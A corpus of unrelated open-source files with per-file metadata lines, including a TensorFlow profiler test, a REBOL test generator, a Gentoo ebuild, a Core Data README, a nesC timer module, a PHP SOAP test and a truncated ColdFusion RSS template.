| C | 4 | gandhi56/swift | test/Interop/Cxx/templates/Inputs/class-template-with-primitive-argument.h | [
"Apache-2.0"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/profiler/convert/xplane_to_trace_events.h"
#include "tensorflow/core/platform/test.h"
#include "tensorflow/core/profiler/protobuf/trace_events.pb.h"
#include "tensorflow/core/profiler/protobuf/xplane.pb.h"
#include "tensorflow/core/profiler/utils/trace_utils.h"
#include "tensorflow/core/profiler/utils/xplane_builder.h"
#include "tensorflow/core/profiler/utils/xplane_schema.h"
namespace tensorflow {
namespace profiler {
namespace {
void CreateXSpace(XSpace* space) {
XPlaneBuilder host_plane(space->add_planes());
host_plane.SetName(kHostThreadsPlaneName);
XLineBuilder thread1 = host_plane.GetOrCreateLine(10);
thread1.SetName("thread1");
XEventBuilder event1 =
thread1.AddEvent(*host_plane.GetOrCreateEventMetadata("event1"));
event1.SetTimestampNs(150000);
event1.SetDurationNs(10000);
event1.AddStatValue(*host_plane.GetOrCreateStatMetadata("tf_op"),
*host_plane.GetOrCreateStatMetadata("Relu"));
XLineBuilder thread2 = host_plane.GetOrCreateLine(20);
thread2.SetName("thread2");
XEventBuilder event2 =
thread2.AddEvent(*host_plane.GetOrCreateEventMetadata("event2"));
event2.SetTimestampNs(160000);
event2.SetDurationNs(10000);
event2.AddStatValue(*host_plane.GetOrCreateStatMetadata("tf_op"),
*host_plane.GetOrCreateStatMetadata("Conv2D"));
XPlaneBuilder device_plane(space->add_planes());
device_plane.SetName(GpuPlaneName(0));
device_plane.SetId(0);
XLineBuilder stream1 = device_plane.GetOrCreateLine(30);
stream1.SetName("gpu stream 1");
XEventBuilder event3 =
stream1.AddEvent(*device_plane.GetOrCreateEventMetadata("kernel1"));
event3.SetTimestampNs(180000);
event3.SetDurationNs(10000);
event3.AddStatValue(*device_plane.GetOrCreateStatMetadata("correlation id"),
55);
}
TEST(ConvertXPlaneToTraceEvents, Convert) {
XSpace xspace;
CreateXSpace(&xspace);
Trace trace;
ConvertXSpaceToTraceEvents(xspace, &trace);
ASSERT_EQ(trace.devices_size(), 2);
EXPECT_EQ(trace.devices().at(kHostThreadsDeviceId).resources_size(), 2);
EXPECT_EQ(trace.devices().at(kFirstDeviceId).resources_size(), 1);
EXPECT_EQ(trace.trace_events_size(), 3);
}
TEST(ConvertXPlaneToTraceEvents, Drop) {
Trace trace;
for (int i = 0; i < 100; i++) {
trace.add_trace_events()->set_timestamp_ps((100 - i) % 50);
}
MaybeDropEventsForTraceViewer(&trace, 150);
EXPECT_EQ(trace.trace_events_size(), 100); // No dropping.
MaybeDropEventsForTraceViewer(&trace, 50);
EXPECT_EQ(trace.trace_events_size(), 50);
for (const auto& event : trace.trace_events()) {
EXPECT_LT(event.timestamp_ps(), 25);
}
}
} // namespace
} // namespace profiler
} // namespace tensorflow
| C++ | 4 | EricRemmerswaal/tensorflow | tensorflow/core/profiler/convert/xplane_to_trace_events_test.cc | [
"Apache-2.0"
] |
REBOL [
Title: "Generates Red equal? tests"
Author: "Peter W A Wood"
File: %make-strict-equal-auto-test.r
Version: 0.1.0
Tabs: 4
Rights: "Copyright (C) 2013-2016 Peter W A Wood. All rights reserved."
License: "BSD-3 - https://github.com/red/red/blob/origin/BSD-3-License.txt"
]
;; initialisations
make-dir %auto-tests/
infix-file: %auto-tests/infix-strict-equal-auto-test.red
prefix-file: %auto-tests/strict-equal-auto-test.red
test-src: {
Red [
Title: "Red infix or prefix equal test script"
Author: "Nenad Rakocevic & Peter W A Wood"
File: ***FILE***
Tabs: 4
Rights: "Copyright (C) 2011-2016 Red Foundation. All rights reserved."
License: "BSD-3 - https://github.com/dockimbel/Red/blob/origin/BSD-3-License.txt"
]
comment { This file is generated by make-strict-equal-auto-test.r
Do not edit this file directly.
}
;make-length:***MAKELENGTH***
#include %../../../../quick-test/quick-test.red
}
;;functions
group-title: "" ;; title of current group
group-test-no: 0 ;; number of current test in group
add-strict-equal-test: func [
expected [string!]
actual [string!]
][
add-test
append infix-src join {--assert } [expected " == " actual newline]
append prefix-src join {--assert strict-equal? } [expected " " actual newline]
]
add-strict-equal-test-with-init: func [
init [string!]
expected [string!]
actual [string!]
][
add-test
append infix-src join init newline
append prefix-src join init newline
append infix-src join {--assert } [expected " == " actual newline]
append prefix-src join {--assert strict-equal? } [expected " " actual newline]
]
add-not-strict-equal-test: func [
expected [string!]
actual [string!]
][
add-test
append infix-src join {--assert not } [expected " == " actual newline]
append prefix-src join {--assert not strict-equal? } [expected " " actual newline]
]
add-not-strict-equal-test-with-init: func [
init [string!]
expected [string!]
actual [string!]
][
add-test
append infix-src join init newline
append prefix-src join init newline
append infix-src join {--assert not } [expected " == " actual newline]
append prefix-src join {--assert not strict-equal? } [expected " " actual newline]
]
add-test: func [] [
group-test-no: group-test-no + 1
append infix-src join {--test-- "infix-strict-equal-}
[group-title "-" group-test-no {"} newline]
append prefix-src join {--test-- "prefix-strict-equal-}
[group-title "-" group-test-no {"} newline]
]
add-test-with-code: func [
code [string!]
assertion [string!]
][
add-test
append infix-src join code newline
append prefix-src join code newline
append infix-src join {--assert } [assertion newline]
append prefix-src join {--assert } [assertion newline]
]
add-test-text: func [
text [string!]
][
append infix-src join replace copy text "***FIX***" "infix" newline
append prefix-src join replace copy text "***FIX***" "prefix" newline
]
start-group: func [
title [string!]
][
group-title: title
group-test-no: 0
add-test-text join {===start-group=== "} [title {"}]
]
;; processing
replace test-src {***MAKELENGTH***} length? read %make-strict-equal-auto-test.r
infix-src: copy test-src
replace infix-src {***FILE***} :infix-file
prefix-src: copy test-src
replace prefix-src {***FILE***} :prefix-file
add-test-text {~~~start-file~~~ "***FIX***-strict-equal"}
start-group "same-datatype"
add-strict-equal-test "0" "0"
add-strict-equal-test "1" "1"
add-strict-equal-test "FFFFFFFFh" "-1"
add-strict-equal-test "[]" "[]"
add-strict-equal-test "[a]" "[a]"
add-not-strict-equal-test "[A]" "[a]"
add-not-strict-equal-test "['a]" "[a]"
add-not-strict-equal-test "[a:]" "[a]"
add-not-strict-equal-test "[:a]" "[a]"
add-not-strict-equal-test "[:a]" "[a:]"
add-strict-equal-test "[abcde]" "[abcde]"
add-strict-equal-test "[a b c d]" "[a b c d]"
add-strict-equal-test "[b c d]" "next [a b c d]"
add-strict-equal-test "[b c d]" "(next [a b c d])"
add-strict-equal-test {"a"} {"a"}
add-not-strict-equal-test {"a"} {"A"}
add-strict-equal-test {"abcdeè"} {"abcdeè"}
add-strict-equal-test {(next "abcdeè")} {next "abcdeè"}
add-strict-equal-test {(first "abcdeè")} {first "abcdeè"}
add-strict-equal-test {(last "abcdeè")} {last "abcdeè"}
add-strict-equal-test {"abcde^^(2710)é^^(010000)"} {"abcde^^(2710)é^^(010000)"}
;; need to escape the ^ as file is processed by REBOL
add-strict-equal-test {[d]} {back tail [a b c d]}
add-strict-equal-test {"2345"} {next "12345"}
add-strict-equal-test {#"z"} {#"z"}
add-not-strict-equal-test {#"z"} {#"Z"}
add-not-strict-equal-test {#"e"} {#"è"}
add-strict-equal-test {#"^^(010000)"} {#"^^(010000)"}
add-strict-equal-test {true} {true}
add-strict-equal-test {false} {false}
add-not-strict-equal-test {false} {true}
add-not-strict-equal-test {true} {false}
add-strict-equal-test {none} {none}
add-strict-equal-test {'a} {'a}
add-strict-equal-test {[a b c d e]} {first [[a b c d e]]}
add-test-with-code {ea-result: 1 == 1} {ea-result = true}
add-test-with-code {ea-result: 1 == 0} {ea-result = false}
add-test-with-code {ea-result: strict-equal? 1 1} {ea-result = true}
add-test-with-code {ea-result: strict-equal? 1 0} {ea-result = false}
add-strict-equal-test {0.0} {-0.0}
add-not-strict-equal-test {1} {1.0}
add-test-text {===end-group===}
start-group {implcit-cast}
add-not-strict-equal-test {#"0"} {48}
add-not-strict-equal-test {48} {#"0"}
add-not-strict-equal-test {#"^^(2710)"} {10000}
add-not-strict-equal-test {#"^^(010000)"} {65536}
add-test-with-code {ea-result: #"1" == 49} {ea-result = false}
add-test-with-code {ea-result: strict-equal? #"^^(010000)" 10000} {ea-result = false}
add-strict-equal-test-with-init {a: b: 1} {a} {b}
add-strict-equal-test-with-init {a: b: "abcde"} {a} {b}
add-test-text {===end-group===}
add-test-text {~~~end-file~~~}
write infix-file infix-src
write prefix-file prefix-src
print "Strict equal auto test files generated"
| R | 5 | 0xflotus/red | tests/source/units/make-strict-equal-auto-test.r | [
"BSL-1.0",
"BSD-3-Clause"
] |
module.exports = {
experimental: {
modularizeImports: {
'../components/halves': {
transform: '../components/halves/{{ member }}',
},
},
},
}
| JavaScript | 3 | hanneslund/next.js | examples/modularize-imports/next.config.js | [
"MIT"
] |
# Copyright 1999-2013 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/app-admin/eselect-php/Attic/eselect-php-0.7.0.ebuild,v 1.3 2013/04/10 13:25:36 olemarkus dead $
EAPI=5
#inherit depend.apache
DESCRIPTION="PHP eselect module"
HOMEPAGE="http://www.gentoo.org"
SRC_URI="http://dev.gentoo.org/~olemarkus/eselect-php/eselect-php-${PV}.bz2"
LICENSE="GPL-2"
SLOT="0"
KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd ~x86-freebsd ~amd64-linux ~ia64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos"
IUSE="fpm apache2"
DEPEND=">=app-admin/eselect-1.2.4"
# !<dev-lang/php-5.3.23-r1:5.3
# !<dev-lang/php-5.4.13-r1:5.4
# !<dev-lang/php-5.5.0_beta1-r2:5.5
# "
RDEPEND="${DEPEND}"
S="${WORKDIR}"
#want_apache
src_install() {
mv eselect-php-${PV} php.eselect
insinto /usr/share/eselect/modules/
doins php.eselect
# if use apache2 ; then
# insinto "${APACHE_MODULES_CONFDIR#${EPREFIX}}"
# newins "${FILESDIR}/70_mod_php5.conf-apache2" \
# "70_mod_php5.conf"
# fi
# if use fpm ; then
# dodir "/etc/init.d"
# insinto "/etc/init.d"
# newinitd "${FILESDIR}/php-fpm.init" "php-fpm"
# fi
}
| Gentoo Ebuild | 4 | tobychin/ey-cloud-recipes | cookbooks/php56/files/default/eselect-php-0.7.0.ebuild | [
"MIT"
] |
package com.baeldung.samples.endpoints;
public interface Activator<T> {
public void handleMessage(T input);
}
| Java | 3 | zeesh49/tutorials | spring-integration/src/main/java/com/baeldung/samples/endpoints/Activator.java | [
"MIT"
] |
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
/** @file ALog.h
*
* Very simple android only logging. Define LOG_TAG to enable the macros.
*/
#pragma once
#ifdef __ANDROID__
#include <android/log.h>
namespace facebook {
namespace alog {
template <typename... ARGS>
inline void
log(int level, const char *tag, const char *msg, ARGS... args) noexcept {
__android_log_print(level, tag, msg, args...);
}
template <typename... ARGS>
inline void log(int level, const char *tag, const char *msg) noexcept {
__android_log_write(level, tag, msg);
}
template <typename... ARGS>
inline void logv(const char *tag, const char *msg, ARGS... args) noexcept {
log(ANDROID_LOG_VERBOSE, tag, msg, args...);
}
template <typename... ARGS>
inline void logd(const char *tag, const char *msg, ARGS... args) noexcept {
log(ANDROID_LOG_DEBUG, tag, msg, args...);
}
template <typename... ARGS>
inline void logi(const char *tag, const char *msg, ARGS... args) noexcept {
log(ANDROID_LOG_INFO, tag, msg, args...);
}
template <typename... ARGS>
inline void logw(const char *tag, const char *msg, ARGS... args) noexcept {
log(ANDROID_LOG_WARN, tag, msg, args...);
}
template <typename... ARGS>
inline void loge(const char *tag, const char *msg, ARGS... args) noexcept {
log(ANDROID_LOG_ERROR, tag, msg, args...);
}
template <typename... ARGS>
inline void logf(const char *tag, const char *msg, ARGS... args) noexcept {
log(ANDROID_LOG_FATAL, tag, msg, args...);
}
#ifdef LOG_TAG
#define ALOGV(...) ::facebook::alog::logv(LOG_TAG, __VA_ARGS__)
#define ALOGD(...) ::facebook::alog::logd(LOG_TAG, __VA_ARGS__)
#define ALOGI(...) ::facebook::alog::logi(LOG_TAG, __VA_ARGS__)
#define ALOGW(...) ::facebook::alog::logw(LOG_TAG, __VA_ARGS__)
#define ALOGE(...) ::facebook::alog::loge(LOG_TAG, __VA_ARGS__)
#define ALOGF(...) ::facebook::alog::logf(LOG_TAG, __VA_ARGS__)
#endif
} // namespace alog
} // namespace facebook
#else
#define ALOGV(...) ((void)0)
#define ALOGD(...) ((void)0)
#define ALOGI(...) ((void)0)
#define ALOGW(...) ((void)0)
#define ALOGE(...) ((void)0)
#define ALOGF(...) ((void)0)
#endif
| C | 5 | anaskhraza/react-native | ReactAndroid/src/main/jni/first-party/fb/include/fb/ALog.h | [
"CC-BY-4.0",
"MIT"
] |
{:main reagenttest.runtests
:optimizations :advanced
:output-to "target/bundle-adv/resources/public/js/out/karma.js"
:output-dir "target/bundle-adv/resources/public/js/out"
; :pseudo-names true
:elide-asserts true
:target :bundle
:closure-defines {cljs.core/*global* "window"}}
| edn | 2 | oakmac/reagent | test-environments/bundle-adv/karma.edn | [
"MIT"
] |
import convertHrtime from "convert-hrtime"
export function calcElapsedTime(startTime: [number, number]): string {
const elapsed = process.hrtime(startTime)
return convertHrtime(elapsed)[`seconds`].toFixed(3)
}
| TypeScript | 4 | JQuinnie/gatsby | packages/gatsby-cli/src/util/calc-elapsed-time.ts | [
"MIT"
] |
#N canvas 380 43 335 239 12;
#X obj 74 93 dspobj~;
#X obj 74 65 sig~ 0;
#X msg 90 121 bang;
#X obj 74 149 print~;
#X floatatom 74 37 0 0 0 0 - - -;
#X msg 193 56 \; pd dsp 1;
#X connect 0 0 3 0;
#X connect 1 0 0 0;
#X connect 2 0 3 0;
#X connect 4 0 1 0;
| Pure Data | 4 | mcclure/pure-data | doc/6.externs/test-dspobj~.pd | [
"TCL"
] |
\title{API}
{{navbar}}
Edward's design reflects the building blocks for probabilistic
modeling. It defines interchangeable components, enabling rapid
experimentation and research with probabilistic models.
Edward is named after the innovative statistician
\href{https://en.wikipedia.org/wiki/George_E._P._Box}{George Edward
Pelham Box}. Edward follows Box's philosophy of statistics and machine
learning \citep{box1976science}.
First gather data from some real-world phenomena. Then cycle through
\href{http://www.annualreviews.org/eprint/7xbyci3nwAg5kEttvvjk/full/10.1146/annurev-statistics-022513-115657}
{Box's loop} \citep{blei2014build}.
\begin{enumerate}
\item Build a probabilistic model of the phenomena.
\item Reason about the phenomena given model and data.
\item Criticize the model, revise and repeat.
\end{enumerate}
\includegraphics{/images/model_infer_criticize.png}
Here's a toy example. A child flips a coin ten times, with the set of outcomes
being \texttt{{[}0,\ 1,\ 0,\ 0,\ 0,\ 0,\ 0,\ 0,\ 0,\ 1{]}}, where \texttt{0}
denotes tails and \texttt{1} denotes heads. She is interested in the
probability that the coin lands heads. To analyze this, she first
builds a model: suppose she assumes the coin flips are independent and
land heads with the same probability. Second, she reasons about the
phenomenon: she infers the model's hidden structure given data.
Finally, she criticizes the model: she analyzes whether her model
captures the real-world phenomenon of coin flips. If it doesn't, then
she may revise the model and repeat.
Navigate modules enabling this analysis above.
See the
\href{/api/reference}{reference page} for a list of the API.
\subsubsection{References}\label{references}
| TeX | 3 | xiangze/edward | docs/tex/api/index.tex | [
"Apache-2.0"
] |
<!doctype html>
<html lang="en" data-framework="jsblocks">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>jsblocks • TodoMVC</title>
<link rel="stylesheet" href="node_modules/todomvc-common/base.css">
<link rel="stylesheet" href="node_modules/todomvc-app-css/index.css">
</head>
<body>
<section data-query="view(Todos)" class="todoapp">
<header class="header">
<h1>todos</h1>
<input data-query="val(newTodo.title).keydown(addTodo)" class="new-todo" placeholder="What needs to be done?" autofocus>
</header>
<section data-query="visible(todos().length > 0)" style="display: none;" class="main">
<input data-query="checked(todos.remaining() == 0).click(todos.toggleAll)" id="toggle-all" class="toggle-all" type="checkbox">
<label for="toggle-all">Mark all as complete</label>
<ul data-query="each(todos.view)" class="todo-list">
<li data-query="setClass('completed', completed).setClass('editing', editing).dblclick(edit)">
<div class="view">
<input data-query="checked(completed).click(toggleComplete)" class="toggle" type="checkbox">
<label>{{title}}</label>
<button data-query="click(destroy)" class="destroy"></button>
</div>
<input data-query="val(title).keydown(handleAction).blur(closeEdit).focused(editing)" class="edit" />
</li>
</ul>
</section>
<footer data-query="visible(todos().length > 0)" style="display: none;" class="footer">
<span class="todo-count">
<strong>{{todos.remaining}}</strong> {{todos.remaining() == 1 ? 'item' : 'items'}} left
</span>
<ul class="filters">
<li>
<a data-query="setClass('selected', filter() == 'all')" href="#/">All</a>
</li>
<li>
<a data-query="setClass('selected', filter() == 'active')" href="#/active">Active</a>
</li>
<li>
<a data-query="setClass('selected', filter() == 'completed')" href="#/completed">Completed</a>
</li>
</ul>
<button data-query="visible(todos().length != todos.remaining()).click(todos.clearCompleted)" class="clear-completed">
Clear completed
</button>
</footer>
</section>
<footer class="info">
<p>Double-click to edit a todo</p>
<p>Created by <a href="https://github.com/astoilkov">Antonio Stoilkov</a></p>
<p>Part of <a href="http://todomvc.com">TodoMVC</a></p>
</footer>
<script src="node_modules/todomvc-common/base.js"></script>
<script src="node_modules/blocks/blocks.js"></script>
<script src="js/app.js"></script>
</body>
</html>
| HTML | 4 | dtelaroli/todomvc | examples/jsblocks/index.html | [
"MIT"
] |
= ActiveRecord Fetching for Core Data =
In software engineering, the active record pattern is a design pattern found in software that stores its data in relational databases. It was named by Martin Fowler in his book Patterns of Enterprise Application Architecture. The interface to such an object would include functions such as Insert, Update, and Delete, plus properties that correspond more-or-less directly to the columns in the underlying database table.
Active record is an approach to accessing data in a database. A database table or view is wrapped into a class; thus an object instance is tied to a single row in the table. After creation of an object, a new row is added to the table upon save. Any object loaded gets its information from the database; when an object is updated, the corresponding row in the table is also updated. The wrapper class implements accessor methods or properties for each column in the table or view.
-- From [[http://en.wikipedia.org/wiki/Active_record_pattern|Wikipedia]]
Active Record for Core Data was inspired by the ease of Ruby on Rails' Active Record fetching. The goals of this code are:
* Clean up my Core Data related code
* Allow for clear, simple, one-line fetches
* Still allow the modification of the NSFetchRequest when request optimizations are needed
[[BeforeAndAfter|See amazing examples of before and after using the code]]
== Installation ==
# In your XCode Project, add all the .h and .m files into your project.
# Add the proper import states for the .h files either to your specific files using Core Data, or in your pre-compiled header file
# Start writing code! ... There is no step 3!
== Usage ==
=== Setting up the Core Data Stack ===
To get started, first, import the header file "CoreData+ActiveRecordFetching.h" in your project's pch file. This will allow a global include of all the required headers.
Next, somewhere in your app's startup, say in the applicationDidFinishLaunching:(UIApplication *) withOptions:(NSDictionary *) method, use one of the following setup calls with the ActiveRecordHelpers class:
* + (void) setupDefaultCoreDataStack;
* + (void) setupAutoMigratingDefaultCoreDataStack;
* + (void) setupCoreDataStackWithInMemoryStore;
* + (void) setupDefaultCoreDataStackWithStoreNamed:(NSString *)storeName;
* + (void) setupCoreDataStackWithAutoMigratingSqliteStoreNamed:(NSString *)storeName;
And, before your app exits, you can use the clean up method:
[ActiveRecordHelpers cleanUp];
=== Default Managed Object Context ===
When using Core Data, you will deal with two types of objects the most: NSManagedObject and NSManagedObjectContext. ActiveRecord for Core Data gives you a place for a default NSManagedObjectContext for use within your app. This is great for single threaded apps. If you need to create a new Managed Object Context for use in other threads, based on your single persistent store, use:
{{{
NSManagedObjectContext *myNewContext = [NSManagedObjectContext context];
}}}
You can then take this context, and set it as the default. This default context will be used for all fetch requests, unless otherwise specified in the methods ending with "inContext:".
{{{
[NSManagedObjectContext setDefaultContext:myNewContext];
}}}
This will use the same object model and persistent store, but create an entirely new context for use with threads other than the main thread.
**//It is recommended that the default context is created and set using the main thread//**
=== Fetching ===
==== Basic Finding ====
Most methods in the ActiveRecord for Core Data library return an NSArray of results. So, if you have an Entity called Person, related to a Department (as seen in various Apple Core Data documentation), to get all the Person entities from your Persistent Store:
{{{
NSArray *people = [Person findAll];
}}}
Or, to have the results sorted by a property:
{{{
NSArray *peopleSorted = [Person findAllSortedByProperty:@"LastName" ascending:YES];
}}}
If you have a unique way of retrieving a single object from your data store, you can get that object directly:
{{{
Person *person = [Person findFirstByAttribute:@"FirstName" withValue:@"Forrest"];
}}}
==== Advanced Finding ====
If you want to be more specific with your search, you can send in a predicate:
{{{
NSArray *departments = [NSArray arrayWithObjects:dept1, dept2, ..., nil];
NSPredicate *peopleFilter = [NSPredicate predicateWithFormat:@"Department IN %@", departments];
NSArray *people = [Person findAllWithPredicate:peopleFilter];
}}}
Returning an NSFetchRequest
{{{
NSPredicate *peopleFilter = [NSPredicate predicateWithFormat:@"Department IN %@", departments];
NSArray *people = [Person fetchAllWithPredicate:peopleFilter];
}}}
For each of these single line calls, the full stack of NSFetchRequest, NSSortDescriptors and a simple default error handling scheme (ie. logging to the console) is created.
Customizing the Request
{{{
NSPredicate *peopleFilter = [NSPredicate predicateWithFormat:@"Department IN %@", departments];
NSFetchRequest *peopleRequest = [Person requestAllWithPredicate:peopleFilter];
[peopleRequest setReturnsDistinctResults:NO];
[peopleRequest setReturnPropertiesNamed:[NSArray arrayWithObjects:@"FirstName", @"LastName", nil]];
...
NSArray *people = [Person executeFetchRequest:peopleRequest];
}}}
==== Find the number of entities ====
You can also perform a count of entities in your Store, that will be performed on the Store
{{{
NSUInteger count = [Person numberOfEntities];
}}}
Or, if you're looking for a count of entities based on a predicate:
{{{
NSUInteger count = [Person numberOfEntitiesWithPredicate:...];
}}}
==== Finding from a different context ====
All find, fetch and request methods have an inContext: method parameter
{{{
NSManagedObjectContext *someOtherContext = ...;
NSArray *peopleFromAnotherContext = [Person findAllInContext:someOtherContext];
}}}
...
{{{
Person *personFromContext = [Person findFirstByAttribute:@"lastName" withValue:@"Gump" inContext:someOtherContext];
}}}
...
{{{
NSUInteger count = [Person numberOfEntitiesInContext:someOtherContext];
}}}
== Extra Bits ==
This Code is released under the MIT License by Magical Panda Software, LLC.
[[http://www.magicalpanda.com|Magical Panda Software]] is an iPhone consulting firm based out of Phoenix, Arizona ready to tackle your data driven applications.
| Creole | 5 | steipete/PSFoundation | activerecord-coredata/README.creole | [
"MIT"
] |
/*
* Copyright (c) 2005 Arched Rock Corporation
* All rights reserved.
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
* Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* Neither the name of the Arched Rock Corporation nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ARCHED
* ROCK OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*/
/**
* Implements a TOS 2.0 Counter on the PXA27x HPL. The PXA27x does not
* have an explicit overflow notification. We emulate one by using
* the associated match register set to 0. This requires we initialize
* the counter to 1 to avoid a false notification at startup.
*
* @author Phil Buonadonna
*/
#include "Timer.h"
generic module HalPXA27xCounterM(typedef frequency_tag, uint8_t resolution)
{
provides {
interface Init;
interface Counter<frequency_tag,uint32_t> as Counter;
interface LocalTime<frequency_tag> as LocalTime;
}
uses {
interface Init as OSTInit;
interface HplPXA27xOSTimer as OSTChnl;
}
}
implementation
{
command error_t Init.init() {
call OSTInit.init();
// Continue on match, Non-periodic, w/ given resolution
atomic {
call OSTChnl.setOMCR(OMCR_C | OMCR_P | OMCR_CRES(resolution));
call OSTChnl.setOSMR(0);
call OSTChnl.setOSCR(1);
call OSTChnl.clearOSSRbit();
call OSTChnl.setOIERbit(TRUE);
}
return SUCCESS;
}
async command uint32_t Counter.get() {
uint32_t cntr;
cntr = call OSTChnl.getOSCR();
return cntr;
}
async command bool Counter.isOverflowPending() {
bool flag;
atomic flag = call OSTChnl.getOSSRbit();
return flag;
}
async command void Counter.clearOverflow() {
atomic call OSTChnl.clearOSSRbit();
}
async event void OSTChnl.fired() {
call OSTChnl.clearOSSRbit();
signal Counter.overflow();
return;
}
async command uint32_t LocalTime.get() {
uint32_t cntr;
cntr = call OSTChnl.getOSCR();
return cntr;
}
default async event void Counter.overflow() {
return;
}
}
| nesC | 5 | mtaghiza/tinyos-main-1 | tos/chips/pxa27x/timer/HalPXA27xCounterM.nc | [
"BSD-3-Clause"
] |
.bg-foo {
background-image: url("./foo.png");
}
| CSS | 1 | mickaelamimba/Round-game | node_modules/tailwindcss/jit/tests/mutable.test.css | [
"MIT"
] |
--TEST--
SOAP Interop Round3 GroupD Compound2 001 (php/wsdl): echoEmployee
--EXTENSIONS--
soap
--INI--
precision=14
soap.wsdl_cache_enabled=0
--FILE--
<?php
class Person {
function __construct(public $Age, public $ID, public $Name, public $Male) {}
}
class Employee {
function __construct(public $person, public $ID, public $salary) {}
}
$person = new Person(32,12345,'Shane',TRUE);
$employee = new Employee($person,12345,1000000.00);
$client = new SoapClient(__DIR__."/round3_groupD_compound2.wsdl",array("trace"=>1,"exceptions"=>0));
$client->echoEmployee($employee);
echo $client->__getlastrequest();
$HTTP_RAW_POST_DATA = $client->__getlastrequest();
include("round3_groupD_compound2.inc");
echo "ok\n";
?>
--EXPECT--
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://soapinterop.org/person" xmlns:ns2="http://soapinterop.org/employee"><SOAP-ENV:Body><ns2:x_Employee><ns2:person><ns1:Name>Shane</ns1:Name><ns1:Male>true</ns1:Male></ns2:person><ns2:salary>1000000</ns2:salary><ns2:ID>12345</ns2:ID></ns2:x_Employee></SOAP-ENV:Body></SOAP-ENV:Envelope>
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://soapinterop.org/person" xmlns:ns2="http://soapinterop.org/employee"><SOAP-ENV:Body><ns2:result_Employee><ns2:person><ns1:Name>Shane</ns1:Name><ns1:Male>true</ns1:Male></ns2:person><ns2:salary>1000000</ns2:salary><ns2:ID>12345</ns2:ID></ns2:result_Employee></SOAP-ENV:Body></SOAP-ENV:Envelope>
ok
| PHP | 3 | NathanFreeman/php-src | ext/soap/tests/interop/Round3/GroupD/r3_groupD_compound2_001w.phpt | [
"PHP-3.01"
] |
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#include "JSCExecutorFactory.h"
#import <jsi/JSCRuntime.h>
#import <memory>
namespace facebook {
namespace react {
std::unique_ptr<JSExecutor> JSCExecutorFactory::createJSExecutor(
std::shared_ptr<ExecutorDelegate> delegate,
std::shared_ptr<MessageQueueThread> __unused jsQueue)
{
return std::make_unique<JSIExecutor>(
facebook::jsc::makeJSCRuntime(), delegate, JSIExecutor::defaultTimeoutInvoker, runtimeInstaller_);
}
} // namespace react
} // namespace facebook
| Objective-C++ | 4 | anaskhraza/react-native | React/CxxBridge/JSCExecutorFactory.mm | [
"CC-BY-4.0",
"MIT"
] |
<cfprocessingdirective suppressWhitespace="true"><cfcontent type="application/rss+xml" reset="true"><?xml version="1.0"?>
<rss version="2.0">
<channel><cfoutput>
<title>#application.rbs.setting.sitetitle# Events</title>
<link>#urlFor(controller="api", onlyPath=false)#</link>
<description>#application.rbs.setting.sitedescription#</description>
<language>en-US</language>
<copyright>#application.rbs.setting.sitetitle#</copyright>
<category>Events</category>
<generator>Room Booking System</generator>
<docs>http://blogs.law.harvard.edu/tech/rss</docs>
<ttl>60</ttl>
<pubDate>#dateFormat(now(), "ddd, dd mmm yyyy")# #timeFormat(now(), "HH:MM:SS")# UT</pubDate>
<lastBuildDate>#dateFormat(now(), "ddd, dd mmm yyyy")# #timeFormat(now(), "HH:MM:SS")# UT</lastBuildDate>
<cfloop query="data">
<item>
<title><![CDATA[#title#]]></title>
<link>#urlFor(controller="bookings", action="view", key=eventid, onlyPath=false)#</link>
<description><![CDATA[#eventdescription#]]></description>
<category><![CDATA[#name#]]></category>
<pubDate>#dateFormat(start, "ddd, dd mmm yyyy")# #timeFormat(start, "HH:MM:SS")# UT</pubDate>
<guid isPermaLink="true">#urlFor(controller="bookings", action="view", key=eventid, onlyPath=false)#</guid>
